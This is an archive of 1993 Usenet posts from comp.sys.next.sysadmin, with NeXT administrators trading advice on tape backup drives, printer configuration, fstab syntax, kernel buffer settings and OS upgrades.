Message-ID: <1993Mar2.014054.21276@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <93056.093326SLVQC@CUNYVM.BITNET>
Date: Tue, 2 Mar 1993 01:40:54 GMT
Salvatore Saieva (SLVQC@CUNYVM.BITNET) wrote:
: I'm looking for recommendations for 8mm drives for a NeXT cluster. Also of
: interest would be backing up a VAX/Ultrix system over the net (although
: this is not required). In particular, does anyone have anything to say
: about the drives from Contemporary Cybernetics, good or bad?
:
Well they've been in business for a while, that's good. But the drives
are exebyte. That's bad. There are only two companies that make 8mm,
and that's exebyte and Kubota Pacific. We've had an exabyte for two
years, and it's been back to the factory twice.
On the flip side our HP DAT drive is fast, reliable, and half the
price.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: Lost HD space
Message-ID: <1993Mar2.014447.21485@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Feb26.011518.11459@bmerh85.bnr.ca>
Date: Tue, 2 Mar 1993 01:44:47 GMT
Brian Magee (sircomp@bcarh289.bnr.ca) wrote:
: Hi all:
: Just the other night, my HD mysteriously lost about 20Meg. I assume
: that it happened after the 2am FSCK, but I'm open to suggestions on what
: else it might have been. I tried re-booting, no good. I thought perhaps that
: a swap-file had been set up (I have the internal 105 as a swap disk), but
: no swapfile. Any ideas? I really hate to lost 20Meg! I mean, I could store
: a nice sound file in that area :-)
: AtDhVaAnNkCsE
: Rob
: --
: Rob Parkhill: sircomp@bnr.ca |"It's all so clear to me now. I'm the keeper
: NeXTmail preffered at: | of the cheese, and you're the lemon merchant.
: rob@hobbes.oghma.ocunix.on.ca | Get it?" - Ren Hoek
:
We had that happen here. Was /usr/spool/appkit. Programs spool here
when printing, (and then its respooled to lpr...) Anyway, I added
clearing that directory to my boot script. I had 25 megs tied up
there. Normally they are cleared after their are using, but Nexts
lpr/lpd do misbehave on occasion, or if they are there when the machine
locks up, then...
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: danno@css.itd.umich.edu (Dan Pritts)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Printer connected via TCPIP...How?
Date: 2 Mar 1993 02:23:23 GMT
Organization: University of Michigan ITD Consulting and Support Services
Message-ID: <1mugerINNldr@stimpy.css.itd.umich.edu>
References: <1993Feb26.170803.64575@cc.usu.edu>
In article <1993Feb26.170803.64575@cc.usu.edu> slv0y@cc.usu.edu writes:
>I am getting ready to add a NewGen Turbo PS/1200T Laser printer to our network.
>I know how to set up the printer via the serial port, but this printer also has
>an ethernet connector. I would like to have the printer on the network via
>ethernet, but I can't seem to find any mention in the docs on how to accomplish
>this.
if the printer supports appletalk (ie, it's "mac-compatible")
you should be able to enable printing to it if you install 3.0's
appletalk package.
danno
--
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dan.pritts@umich.edu um itd/css unix support group
313/998-6265
From: danno@css.itd.umich.edu (Dan Pritts)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Upgrading 1.0->3.0
Date: 2 Mar 1993 02:25:45 GMT
Organization: University of Michigan ITD Consulting and Support Services
Message-ID: <1mugj9INNlfb@stimpy.css.itd.umich.edu>
References: <1993Feb26.230451.1813@cs.ucla.edu>
In article <1993Feb26.230451.1813@cs.ucla.edu> geoff@ficus.cs.ucla.edu (Geoffrey Kuenning) writes:
>A friend has a 1.0 system and wants to upgrade to 3.0. I gave him an
>OD with the contents of the Upgradeprep floppy, but Upgradeprep won't
>run because it needs a shared library. So we tried copying sdmach
you could just make a duplicate of the "CD-ROM Tools" diskette that
comes with the 3.0 cd (onto an OD) and have him boot from that. It'll
then look for the CD drive on the SCSI bus and boot from it.
danno
--
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dan.pritts@umich.edu um itd/css unix support group
313/998-6265
From: tisue@athens.uchicago.edu (Seth Tisue)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: /usr/ucb/Mail: keeping outgoing messages
Message-ID: <1993Mar1.191910.10970@midway.uchicago.edu>
Date: 1 Mar 93 19:19:10 GMT
References: <1993Mar1.063643.19498@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: Plaster Cramp Press
In article <1993Mar1.063643.19498@midway.uchicago.edu> tisue@athens.uchicago.edu (Seth Tisue) writes:
>A user has reported the following problem. According to
>the man pages for /usr/ucb/Mail, you can add a line like this:
>
> set record /Users/tisue/outgoing
Oops. I have been informed there needs to be an equal sign between
the variable and the pathname. Sorry about the stupid question...
(The user said the "same thing" worked on a Sun account... I'm
guessing either he had the equal sign on his Sun .mailrc, or else
the Sun version of mail supplies a default pathname if you don't
specify one, which is what the above does, i.e., it sets record
but doesn't give it a value.)
--
== Seth Tisue (s-tisue@uchicago.edu)
"Beware of the wise/ Beware of the wise/ Lies, lies, lies" - Fred Frith
"Devote your life to a lost cause" - Jandek
From: bradshaw@thelma.hq.af.mil (Michelle A. Bradshaw)
Newsgroups: comp.sys.next.sysadmin
Subject: /usr/bin/cut and /usr/bin/paste
Message-ID: <18299@hq.hq.af.mil>
Date: 1 Mar 93 18:14:30 GMT
Sender: news@Pt.hq.af.mil
Help! I can't get cut and paste to compile on my machine. Can someone
tell me, step by step, how to get these valuable UNIX shell commands
working on a NeXT. Does anyone know why they weren't included in the
first place? Thanks!
--
-- Michelle A. Bradshaw HQ USAF LAN Configuration Management
-- bradshaw@thelma.hq.af.mil (NeXT OK) (703)695-5060 DSN 225-5060
-- Anybody who has an identity problem had better wise up and get
-- with the program! Jack Handey
From: herzog@ux5.lbl.gov (Hanan Herzog)
Newsgroups: comp.sys.next,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Need tape drive recommendations
Followup-To: comp.sys.next
Date: 2 Mar 1993 03:52:26 GMT
Organization: Lawrence Berkeley Laboratory
Distribution: world
Message-ID: <1mullqINNt75@overload.lbl.gov>
Keywords: hardware, tape, backup
I am looking for a good tape drive to connect to a NeXTCube
Please reply by e-mail.
Thanks in advance,
Hanan Herzog
herzog@lbl.gov
From: herzog@ux5.lbl.gov (Hanan Herzog)
Newsgroups: comp.sys.next,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Need tape drive recommendations
Followup-To: comp.sys.next
Date: 2 Mar 1993 04:16:50 GMT
Organization: Lawrence Berkeley Laboratory
Distribution: world
Message-ID: <1mun3iINN51@overload.lbl.gov>
Keywords: hardware, tape, backup
I am looking for a good tape drive to connect to a NeXTCube
Please reply by e-mail.
Thanks in advance,
Hanan Herzog (herzog@lbl.gov)
From: herzog@ux5.lbl.gov (Hanan Herzog)
Newsgroups: comp.sys.next,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Need tape drive recommendations
Followup-To: comp.sys.next
Date: 2 Mar 1993 04:23:46 GMT
Organization: Lawrence Berkeley Laboratory, Berkeley CA
Distribution: world
Message-ID: <1mungiINN5g@overload.lbl.gov>
Keywords: hardware, tape, backup
Hi,
I am looking for a good tape drive to connect to a NeXTCube
running release 3.0. Currently we have about 500MB that we would like
to backup periodically. I have no experience shopping for tape
hardware, and I would like some suggestions of good brand names and
things to look for and watch out for. Price ranges for certain
specifications would also be useful. Phone numbers and addresses of
suppliers would also be appreciated.
Please reply by e-mail.
Thanks in advance,
Hanan Herzog (herzog@lbl.gov)
Lawrence Berkeley Laboratory
From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Re: Please help: SCSI timeout
Date: 2 Mar 1993 13:54:27 GMT
Organization: The University of Maryland, College Park
Message-ID: <1mvoujINNrld@ni.umd.edu>
References: <C2tpp2.16I@news.cis.umn.edu> <1993Mar2.013653.21154@kakwa.ucs.ualberta.ca>
In article <1993Mar2.013653.21154@kakwa.ucs.ualberta.ca> sherwood@space.ualberta.ca (System Administrator) writes:
>5 is illegal request. Check your manual. It may be that the Python
>doesn't support disconnect/reconnect, or that a jumper has to be set.
The Archive Python does support disconnect/reconnect. If it did, it
would just hang on to the bus and not cause an illegal request error.
>:
>: 2. Is it reasonable for a SCSI peripheral to be unable to keep up?
>:
>Yup. If it's buffer is full, or if it's doing something like moveing
>the tape, it won't respond. Next's tape drivers are a tad flakey. My
>backup script (written in perl) goes to unreal lengths to try to work
>around all the various ways things can go wrong.
This isn't strictly true. There are two cases to consider: the first
is when the transfer rate of the I/O device is slower than the rate at
which the data is produced or consumed. In that case, the drive will
disconnect until the I/O has completed. The SCSI tape driver on the
next will have marked the device as "busy" with a pending command, and
not issue any further commands until the pending one completes or it
times out the command.
The other case is when the device is busy doing *something*, but the
operating system doesn't know about it. In that case, the SCSI
device, will return a BUSY status indicating a command or whatever in
progress. This really shouldn't be the case on the NeXT, since all
the I/O goes through the SCSI driver and it would have known if the
device is busy or not. ON exception to this that I've seen is when a
disk drive is beginning to get flakey, and it decides to do a SCSI
block replacement or recovery; it will return BUSY to the host while
doing this.
>It could also be that the python is expecting fixed block of 512, while
>the next defaults to variable block. Then if the Next does a disconnect
>at some odd point, the python may get confused. (Guessing)
The Archive Python driver, of of the box, supports variable length
blocks (as you'd expect and prefer), while the NeXT st tape driver
defaults to fixed 512 byte blocks. If you were using dump or tar with
a larger block size, you'd be more likely to get residual data error
or something when reading a block larger than 512 bytes. The NeXT
never performs the disconnect operation; it is up to the SCSI target
device (disk, tape, etc) to disconnect when it knows it can't perform
an operation "quickly".
As far as your problem goes; I'd check to make sure that the SCSI
devices are correctly terminated and that you don't have a problem
with cables or connectors. I have an Archive Python and an external
Fujutsu 660 MB disk in addition to the internal 100 MB disk on my
NeXTStation, and its worked very reliably with dump/restore, tar (all
of these requireing an external program to set the tape driver into
variable length block mode), and SafeyNet (which sets the driver
itself).
Now I can't comment on other types of tape drivers (QIC, etc) and how
well they work, but the DAT drive has worked very well for me.
Louis Mamakos
From: bryan@kolsky.tamu.edu (Bryan Milligan)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: What is the max value for nbuf?
Date: 2 Mar 1993 15:38:33 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1mvv1pINNjkt@tamsun.tamu.edu>
Keywords: nbuf, pot-bellied pigs
I know this subject has probably come up a number of times, but
what is the maximum value of nbuf that I can specify on bootup? Is
there a way to make it default? I know the ROM monitor only allows
twelve characters, but I use something like this
bsd sdmach nbuf=xxx
Just looking for a good use for 48MB of RAM. 8-)
--
Bryan Milligan Voice: (409) 845-7541
Department of Aerospace Engineering Fax: (409) 845-6051
Texas A&M University
bryan@kolsky.tamu.edu
(NeXT Mail accepted)
From: bryan@kolsky.tamu.edu (Bryan Milligan)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: What is the max value for nbuf?
Date: 2 Mar 1993 15:39:04 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1mvv2oINNjla@tamsun.tamu.edu>
Keywords: nbuf, pot-bellied pigs
I know this subject has probably come up a number of times, but
what is the maximum value of nbuf that I can specify on bootup? Is
there a way to make it default? I know the ROM monitor only allows
twelve characters, but I use something like this
bsd sdmach nbuf=xxx
Just looking for a good use for 48MB of RAM. 8-)
--
Bryan Milligan Voice: (409) 845-7541
Department of Aerospace Engineering Fax: (409) 845-6051
Texas A&M University
bryan@kolsky.tamu.edu
(NeXT Mail accepted)
From: bryan@kolsky.tamu.edu (Bryan Milligan)
Newsgroups: comp.sys.next.sysadmin
Subject: What is the max value for nbuf?
Date: 2 Mar 1993 15:39:25 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1mvv3dINNjm1@tamsun.tamu.edu>
Keywords: nbuf, pot-bellied pigs
I know this subject has probably come up a number of times, but
what is the maximum value of nbuf that I can specify on bootup? Is
there a way to make it default? I know the ROM monitor only allows
twelve characters, but I use something like this
bsd sdmach nbuf=xxx
Just looking for a good use for 48MB of RAM. 8-)
--
Bryan Milligan Voice: (409) 845-7541
Department of Aerospace Engineering Fax: (409) 845-6051
Texas A&M University
bryan@kolsky.tamu.edu
(NeXT Mail accepted)
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: Executor-why must I be root?
In-Reply-To: schwarze@delphi.nosc.mil's message of Mon, 1 Mar 1993 17:11:20 GMT
To: schwarze@delphi.nosc.mil (David Schwarze)
Message-ID: <CEDMAN.93Mar1183456@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1993Mar1.171120.13158@nosc.mil>
Date: Mon, 1 Mar 1993 22:34:56 GMT
In article <1993Mar1.171120.13158@nosc.mil> schwarze@delphi.nosc.mil (David Schwarze) writes:
I just downloaded the demo of Executor, but it says I must be root to
install it. I am worried by this. Does anyone know why root privledge is
required? Has anyone downloaded and used this demo? This machine is used
by several people and I don't want to hose it up or introduce any kind of
virus onto it.
While only a fool would give a clean bill of health to a piece of
software he hasn't written himself or at least has access to the
source code, Executor.app is IMHO a reasonable risk for two reasons.
1. The authors of Executor have been around for some years. People
have their names, addresses and even their email addresses (and they
even reply to email). They are nice people and I don't think they'd
write a virus. They also aren't as stupid as to write a virus which
can easily be traced to them.
2. There is a valid technical reason for Executor to be able to have
and run a SUID program. To be specific, some old Mac programs modify
themselves which is bad programming practice but works on 68000
machines. The more advanced members of the 680x0 family use caching
extensively to speed up processes which wreaks havoc on self-modifying
code. So to run these Mac apps the cache must be turned off. But no
unprivileged user level UN*X program can turn the cache off (after
all, why would anyone want to ?). Strictly speaking, even a root
owned user level program can't, but a kernel driver can and a SUID
root program can install a kernel driver. So that is why Executor
needs to run as root at least once. Completely confused now ?
Carl Edman
Newsgroups: comp.sys.next.sysadmin
From: hogan@boetius.rz-berlin.mpg.de (Kharim Hogan)
Subject: Re: LaserJet Printing Troubles
Message-ID: <1993Mar2.162644.14306@thunder.mcrcim.mcgill.edu>
Keywords: laserjet print serial help
Sender: news@thunder.mcrcim.mcgill.edu
Organization: Los Alamos National Laboratory, NM
References: <1993Feb26.220933.6218@eecs.nwu.edu>
Date: Tue, 2 Mar 93 16:26:44 GMT
In article <1993Feb26.220933.6218@eecs.nwu.edu> bogdan@eecs.nwu.edu (Bogdan Vacaliuc) writes:
>Hello,
>
> I have been trying to connect a HP LaserJet (4) printer to our NeXT network
>of two machines for about a week now. Originally we had hoped to use the
>LocalTalk port on the HP. (It has a parallel,serial,and LocalTalk port).
>Anyway, we left that since LocalTalk uses differential RXD and TXD lines.
>
> Moving on to the obvious serial line connection, I followed the pin-
>diagrams given in the NeXT documentation and constructed a cable. (There are
>a number of conflicting descriptions around - I've tried them all!) Anyway,
>at this point we have a cable from NeXTConnection and one that I think
>should work based on what HP says the serial port pinouts are. (RS-232C)
>
> Anyway, I've setup NetInfo with a number of parameters to setup the serial
>port properly. I've tried the LaserWriter parameters (suggested by
>NeXTConnection), I've tried my own settings based on my understanding of
>what the printer would expect on the serial line. The two refuse to
>speak to each other no matter what I've tried. Lpd starts up and spawns
>processes when files are spooled. Lpq reports the printer is not responding.
>
> What I'm hoping is that someone out there is happily printing on a
>HP LaserJet via a serial port. I would very much like to know what are your
>NetInfo parameters (the printcap database), and what are the connections on
>your serial cable (test with an ohm-meter?). Essentially what you did to
>get the system functional.
>
> Some people have talked about drivers being necessary. I'm not inclined
>to beleive this because I can't even get a simple connection running to print
>basic TEXT files from the command line of the terminal. Even so, the HPLJ4
>autodetects PostScript Level II.
>
> If someone out there has this information, I would really appreciate
>the time spent on a reply.
>
> Thanks again!
>
>-bogdan
>(bogdan@eecs.nwu.edu)
>(708) 864-9176 Home
>(708) 491-1165 Work
Hi,
Here's what I did...at sonata (don't remember which directory, maybe
submissions) there are PPD files for the LJ4. Download these and
place them in /usr/lib/NextPrinter/pdf just as they are. Then the
LJ4 will show up in PrintManager and allow you to configure the
printer just like any other.
Plug it into the printer's serial port and configure the Serial Menu
on the printer to RS-232 and Baud Rate 9600.
That's all I did and everything works fine.
Hope this helps!
Kharim
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*************************************************************************
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hogan@music.mcgill.ca Faculty of Music, McGill University
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Newsgroups: comp.sys.next.sysadmin
From: dave@hyla.biosci.missouri.edu (Dave Zaloz)
Subject: Help: Nextmail address wrong
Message-ID: <1993Mar2.171242.10991@sbcs.sunysb.edu>
Sender: usenet@sbcs.sunysb.edu (Usenet poster)
Organization: Dept of Computer Science, State U of NY at Stony Brook
Date: Tue, 2 Mar 1993 17:12:42 GMT
Aloha.
I've got what might be a simple problem to fix. My email address is
dave@hyla.biosci.missouri.edu. When I send out mail the server send my
address as dave@hyla.hyla.biosci.missouri.edu. As you can see an extra
"hyla" is tacked on my address. Does anybody out there have any clues as
to why this is occuring and how I can rectify it?
Thanx
Dave
PS: If you send mail to me directly remember that my address is
dave@hyla.biosci.missouri.edu.
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: What is the max value for nbuf?
Date: 2 Mar 1993 19:21:43 GMT
Organization: University of Houston
Distribution: world
Message-ID: <1n0c47INNbq3@menudo.uh.edu>
References: <1mvv3dINNjm1@tamsun.tamu.edu>
In article <1mvv3dINNjm1@tamsun.tamu.edu> bryan@kolsky.tamu.edu (Bryan
Milligan) writes:
# I know this subject has probably come up a number of times, but
#what is the maximum value of nbuf that I can specify on bootup? Is
#there a way to make it default? I know the ROM monitor only allows
#twelve characters, but I use something like this
# bsd sdmach nbuf=xxx
#
# Just looking for a good use for 48MB of RAM. 8-)
#
#--
#
#Bryan Milligan Voice: (409) 845-7541
#Department of Aerospace Engineering Fax: (409) 845-6051
#Texas A&M University
#bryan@kolsky.tamu.edu
#(NeXT Mail accepted)
We use a value of 128, i.e, sdmach- nbu=128 (less than 12 characters!)
This is 1M for buffers. Seems to have improved the performace of our
servers noticably...
--
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The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin
From: o10035@nextphx.corp.mot.com (Jerry DeLuyck)
Subject: Re: pcnfsd for the NeXT
Organization: MOTOROLA
Date: Tue, 2 Mar 1993 18:51:20 GMT
Message-ID: <1993Mar2.185120.21972@schbbs.mot.com>
References: <1993Feb26.211253.22916@midway.uchicago.edu>
Sender: news@schbbs.mot.com (Net News)
In article <1993Feb26.211253.22916@midway.uchicago.edu>
sherlock@holmes.bsd.uchicago.edu (John R. Avery) writes:
> In article <1993Feb25.164213.15398@schbbs.mot.com>
> o10035@nextphx.corp.mot.com (Jerry DeLuyck) writes:
> > Has anyone successfully compiled the rpc.pcnfsd (version 2) on the NeXT?
> NS
> > 3.0 ships with an rpc.pcnfsd, but alas it is version 1 which leaves out
> a lot
> > of features.
>
> I'm afraid that this will seem awfully ignorant but my curiosity has
> got the better of me. First, I haven't heard of any version-2 of
> rpc.pcnfsd on the NeXT. That aside, I don't understand why anyone would
> need it for the NeXT. The only thing that occurs to me --about combining
> NeXTs, PC/DOS software, and NFS-- is that, if one were to want to run DOS
> application on a NeXT then one would use something like Insignia's SoftPC
> for NeXT, and if one were to do that then --because SoftPC runs within
> NeXTStep which is a superset of a version of unix that incluces NFS
> capabilities-- one wouldn't need a separate NFS daemon for the DOS stuff
> running on the NeXT.
> Apparently (obviously?) I'm missing something, here. Can someone
> please explain it to me?
> Tx, mucho.
rpc.pcnfsd is NOT for running DOS programs on the NeXT (or any other UNIX box
for that matter). The reason for rpc.pcnfsd is to allow PCs to NFS mount
exported UNIX directories. Additionally, it allows PCs to print to UNIX type
printers.
Newsgroups: comp.sys.next.sysadmin
From: o10035@nextphx.corp.mot.com (Jerry DeLuyck)
Subject: Re: Printer connected via TCPIP...How?
Organization: MOTOROLA
Date: Tue, 2 Mar 1993 19:00:43 GMT
Message-ID: <1993Mar2.190043.22110@schbbs.mot.com>
References: <1mugerINNldr@stimpy.css.itd.umich.edu>
Sender: news@schbbs.mot.com (Net News)
In article <1mugerINNldr@stimpy.css.itd.umich.edu> danno@css.itd.umich.edu (Dan
Pritts) writes:
> In article <1993Feb26.170803.64575@cc.usu.edu> slv0y@cc.usu.edu writes:
> >I am getting ready to add a NewGen Turbo PS/1200T Laser printer to our
network.
> >I know how to set up the printer via the serial port, but this printer also
has
> >an ethernet connector. I would like to have the printer on the network via
> >ethernet, but I can't seem to find any mention in the docs on how to
accomplish
> >this.
>
> if the printer supports appletalk (ie, it's "mac-compatible")
> you should be able to enable printing to it if you install 3.0's
> appletalk package.
That is if you're lucky enough to get the AppleTalk to work with the printer.
I have some 10 Apple LaserWriter printers connected to my EtherTalk network.
The NeXT will only print reliably to one of them!
Newsgroups: comp.sys.next.sysadmin
From: marcel@nice.usergroup.ethz.ch (Marcel Waldvogel)
Subject: Re: How to suppress console logins?
Message-ID: <1993Mar2.212250.1387@bernina.ethz.ch>
Sender: news@bernina.ethz.ch (USENET News System)
Organization: NiCE - NeXT User Group, Zuerich
References: <rich.730172873@pencil> <1993Mar2.012426.20652@kakwa.ucs.ualberta.ca>
Date: Tue, 2 Mar 1993 21:22:50 GMT
In article <1993Mar2.012426.20652@kakwa.ucs.ualberta.ca> sherwood@space.ualberta.ca (System Administrator) writes:
>Rich Winkel (rich@pencil.cs.missouri.edu) wrote:
>: The existence of /etc/nologin suffices to keep out telnet logins, but
>: it has no effect on console logins. What to do?
Why don't you 'dwrite loginwindow LoginHook /some/program' as root,
when /some/program (optionally) prints out a nice banner containing a
message why you can't login (e.g. a modified MOTD) and then returns an
exit value != 0?
-Marcel
From: nevai@mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: TEST
Date: 2 Mar 1993 23:52:59 GMT
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Just testing the newly installed Pnews...Paul
Paul Nevai nevai@mps.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: fasano@scarolina.cerfnet.com (Christopher G. Fasano)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Loadable Kernel Server
Keywords: Kernel
Message-ID: <1n0u18INNdgv@news.cerf.net>
Date: 3 Mar 93 00:27:19 GMT
Organization: CERFnet
Hello,
Has anyone out there actually written a loadable
kernel server (for network applications like a
protocol handler, or a packet sniffer. If you have--
HELP! Please contact me at
fasano@scarolina.cerfnet.com
Thanks in advance!
Chris Fasano
From: fasano@scarolina.cerfnet.com (Christopher G. Fasano)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Loadable Kernel Server
Keywords: Kernel
Message-ID: <1n0u25INNdh1@news.cerf.net>
Date: 3 Mar 93 00:27:49 GMT
Organization: CERFnet
Hello,
Has anyone out there actually written a loadable
kernel server (for network applications like a
protocol handler, or a packet sniffer. If you have--
HELP! Please contact me at
fasano@scarolina.cerfnet.com
Thanks in advance!
Chris Fasano
From: fasano@scarolina.cerfnet.com (Christopher G. Fasano)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Loadable Kernel Server
Keywords: Kernel
Message-ID: <1n0u2nINNdh4@news.cerf.net>
Date: 3 Mar 93 00:28:07 GMT
Organization: CERFnet
Hello,
Has anyone out there actually written a loadable
kernel server (for network applications like a
protocol handler, or a packet sniffer. If you have--
HELP! Please contact me at
fasano@scarolina.cerfnet.com
Thanks in advance!
Chris Fasano
Newsgroups: comp.sys.next.sysadmin
From: icf@rchland.vnet.ibm.com (Ira Frosch)
Subject: Re: NeXT will not turn on!!
Sender: news@rchland.ibm.com
Message-ID: <1993Mar03.001655.23084@rchland.ibm.com>
Date: Wed, 03 Mar 1993 00:16:55 GMT
Disclaimer: This posting represents the poster's views, not necessarily those of IBM
References: <ufessex.731002990@mcl> <C389vz.3FC@ux1.cso.uiuc.edu>
Organization: IBM Rochester
In article <C389vz.3FC@ux1.cso.uiuc.edu>, lemson@ux1.cso.uiuc.edu (David Lemson) writes:
|> ufessex@mcl.ucsb.edu (Fabian E. Schonholz) writes:
|>
|> >It always happens when you have a buyer...argggggg!!!
|>
|> >Well, my machine does not want to turn on. I mean that I pressed the
|> >power key and nothing happens. About an year ago I had the same problem,
|> >but somehow it solved itself out!!! I tryed turning the machine on (notice
|> >that I am not saying "booting" the machine) and nothing, so I let it seat
|> >there for a while. Changed the plugs, etc...tryed...nothing. Got the plugs
|> >again in the original set up and voila!!!! it came on an booted. Same way
|> >now...but it has been a week or so since it has not come on and (I was also
|> >sick with a cold and fever) and I got a buyer for it and would hate to sell
|> >a machine that is not working properlly. I suspect the keyboard, but I am not
|> >sure...ANY IDEAS!!!!!
|>
|> Perhaps the boot cmos has been corrupted. Try removing the battery,
|> shorting the battery holder terminals, and replacing the battery
|> (mind the positive and negative marks).
Don't know what kind of box you have, but I had a similar problem last night. I've got a Color 'Station, and my roommate moved it from one room to another (looong story:-). Anyway, he reconnected it, but after connecting we couldn't power up. Turns out he put the connector that splits between the sound box and monitor (which normally goes on the slab) into the monitor, so we were sending "Turn the machine" keys to the monitor, which was already on.
|> --
|> David Lemson (217) 244-1205
|> University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
|> Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
|> NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Ira
Newsgroups: comp.sys.next.sysadmin
From: wching@alice.music.yale.edu (William Ching)
Subject: Re: Account file for network NeXT Printer
Message-ID: <1993Mar3.042530.8436@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale University, Department of Computer Science, New Haven, CT
References: <C358CA.F67@ux1.cso.uiuc.edu>
Date: Wed, 3 Mar 1993 04:25:30 GMT
I am having the same problem. I have an AppleTalk laser printer that is
defined in the the root NetInfo domain with the appropriate af= entry in the
printer entry in /printers. I have verified that the file listed under
af= does exist and that the lpd is appropriately privileged to write to it.
However, I still can't get printer accounting to work. There's only one copy
of the printer definition in the entire network. Thanks in advance for your
help.
WC
In article <C358CA.F67@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David
Lemson) writes:
> doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) writes:
>
>>[original post]
>
> Yes, it works successfully for me as follows: create the entry in
> the printcap of the local domain on the printer host. (in the
> Local_Printer entry) Then, touch the file that af= on that printer
> host. Don't include an af= in any other netinfo entries for that
> printer (in case you have it exported to /, in which case another
> copy of it will be in the printcap for /, with the sharedAs name as
> its 'name')
>
>
>
>[audio warning question deleted]
-----------------------------------------------------------------------------
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Yale University Department of Music | Center for Studies in Music Technology
"To the insane the sane must seem insane"
From: daffy.ldp.com!rolfe (Rolfe Tessem)
Newsgroups: comp.sys.next.sysadmin
Subject: Need correct fstab syntax
Date: 2 Mar 1993 15:14:17 -0500
Organization: Lucky Duck Productions, Inc.
Sender: rolfe@daffy.ldp.com
Distribution: world
Message-ID: <1n0f6p$3j5@daffy.ldp.com>
I am mounting a large external drive as /news/spool, and of course it
works when I manually issue the mount command from the command line.
I'd like to make this happen automagically at bootup, but I'm
obviously not using the right fstab syntax.
Here's what I thought it should be, but /dev/sd1a isn't recognized
with this:
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd1a /news/spool 4.3 rw,noquota,noauto 0 2
(/dev/sd0a is the internal boot drive, of course, which works fine.)
Can someone give me a clue?
Rolfe
--
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Newsgroups: comp.sys.next.sysadmin
From: M_Carling@BlueRose.com (M Carling)
Subject: Re: NS 2.55?
Message-ID: <1993Mar2.160349.11270@bluerose.com>
Sender: m@bluerose.com
Organization: Blue Rose Systems, Inc.
References: <1mu4g4INNi9n@morrow.stanford.edu>
Date: Tue, 2 Mar 1993 16:03:49 GMT
In article <1mu4g4INNi9n@morrow.stanford.edu> root@lotka.Stanford.EDU
(Operator) writes:
>[problems with Upgrade.app]
Don't use Upgrade.app if it is at all possible to use BuildDisk.app. Do a
BuildDisk from an uncorrupted source e.g. CD-ROM.
M Carling
President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: Need correct fstab syntax
Message-ID: <1993Mar3.111749.15667@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1n0f6p$3j5@daffy.ldp.com>
Date: Wed, 3 Mar 1993 11:17:49 GMT
In article <1n0f6p$3j5@daffy.ldp.com> rolfe@ldp.com (Rolfe Tessem) writes:
>/dev/sd0a / 4.3 rw,noquota,noauto 0 1
>/dev/sd1a /news/spool 4.3 rw,noquota,noauto 0 2
^^^^^^
remove
>Can someone give me a clue?
--> CLUE <--
"noauto" means DO NOT MOUNT. It's specified for / because the
root is already mounted (how else would the system be able to
read fstab?).
-=EPS=-
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: cedman@princeton.edu (Carl Edman)
Subject: Re: What is the max value for nbuf?
In-Reply-To: bryan@kolsky.tamu.edu's message of 2 Mar 1993 15:39:04 GMT
To: bryan@kolsky.tamu.edu (Bryan Milligan)
Message-ID: <CEDMAN.93Mar2123420@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1mvv2oINNjla@tamsun.tamu.edu>
Date: Tue, 2 Mar 1993 16:34:20 GMT
In article <1mvv2oINNjla@tamsun.tamu.edu> bryan@kolsky.tamu.edu (Bryan Milligan) writes:
I know this subject has probably come up a number of times, but
